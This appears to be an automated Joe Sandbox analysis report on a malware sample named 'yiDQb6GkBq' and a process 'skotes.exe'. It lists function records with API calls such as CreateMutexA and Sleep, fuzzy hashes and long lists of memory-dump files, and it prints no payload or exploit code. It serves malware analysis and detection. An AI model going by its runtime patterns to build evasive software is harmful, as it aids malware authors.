__Mtx_unlock.LIBCPMT ref: 006830F5
__Mtx_unlock.LIBCPMT ref: 0068319B

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 37a635d8ef984b8e008dc4d608a60a8c20c3e7fda7a4dab9242f8e543f8c8a23
Instruction ID: 09a091aea953233e482c3a8849755fc08688fe54296b02a55474922151cc945c
Opcode Fuzzy Hash: 37a635d8ef984b8e008dc4d608a60a8c20c3e7fda7a4dab9242f8e543f8c8a23
Instruction Fuzzy Hash: 06A1D270A016259FDF20EF64C944B9AB7BAFF15B24F04822EE815D7741EB35EA04CB91

Function 006BF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 006BF3A3

Strings

8"n, xrefs: 006BF44B
`'n, xrefs: 006BF375

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"n$`'n
API String ID: 3903695350-2110673961
Opcode ID: af44a4fae10f2935ef3df976bb6e1c0aa10ec8ac876a78395881ed39d0432517
Instruction ID: aa60481e10ddccf1447344243aded6fd5848e410d28f7405144ed2d18cfb9dd5
Opcode Fuzzy Hash: af44a4fae10f2935ef3df976bb6e1c0aa10ec8ac876a78395881ed39d0432517
Instruction Fuzzy Hash: DF3159B1600201EFEB61AB79DC45BDBB3EAEF00352F14442DE045D66A6DE71ACC08B65

Analysis Process: skotes.exePID: 7456, Parent PID: 7280COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	602
Total number of Limit Nodes:	4

Executed Functions

Function 0074652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0074652A,?,?,?,?,?,00747661), ref: 00746567

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 17181c1cb93b8a342e236830e4b3a3fa7647d8eb68f9c3a51bd8a15b49188a23
Instruction ID: e36a3078e9bf7d8e38b7c02c1ea4922c34b0f2e2ee35ff0698ab5312f9e7fbfe
Opcode Fuzzy Hash: 17181c1cb93b8a342e236830e4b3a3fa7647d8eb68f9c3a51bd8a15b49188a23
Instruction Fuzzy Hash: E3E0CD30141108EFDF367F18C81DD897B59EF52745F010814F859C6229CB3DED91C691

Function 00719BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: bebc81460a829b89d4a20acf72505ebfe0bdffbef47eca7e058f5d4f54666919
Instruction ID: 8d588f4d9fad96e8ec8f7cac12e0d3d8993d59cc2df4522a314043952bb602f7
Opcode Fuzzy Hash: bebc81460a829b89d4a20acf72505ebfe0bdffbef47eca7e058f5d4f54666919
Instruction Fuzzy Hash: 47314871705200DBEB18AB7CDC897ADB7A2EBC2310F248218E154973D6D77D9AC18761

Function 00719F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872285538.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872302493.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872325842.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872451302.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872469512.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872602157.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872620055.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872637179.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872676181.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872695840.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872721333.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872736360.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872754236.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872770466.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872788629.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872805100.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872825136.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872844113.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872867947.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872885972.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872904867.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872923139.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872940327.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872957897.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872979077.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872999731.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873017271.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873034510.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873051633.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873070206.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873088824.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873108466.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873131256.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873154881.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873211963.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873233213.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873252166.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873272194.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873289325.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873315977.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1873338303.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2w
API String ID: 1464230837-3085299600
Opcode ID: a1709adbf889f6fde63ab1d9f285b15dcebf5318cc335969304718033c854a2d
Instruction ID: 1b7c5c82bf3ff4291a53d2d155302963d10951b9f45bf1984f7c79046ac3d884
Opcode Fuzzy Hash: a1709adbf889f6fde63ab1d9f285b15dcebf5318cc335969304718033c854a2d
Instruction Fuzzy Hash: 65312831701100EBEB18AB6CD8897EDB7A6EB86310F24861DE154D73D6D73DA9C18762

Function 0071A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0071A963
CreateMutexA.KERNELBASE(00000000,00000000,00773254), ref: 0071A981

Strings

T2w, xrefs: 0071A970

Memory Dump Source

Source File: 00000001.00000002.1872175782.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000001.00000002.1872159218.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872175782.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872250055.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1872266195.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
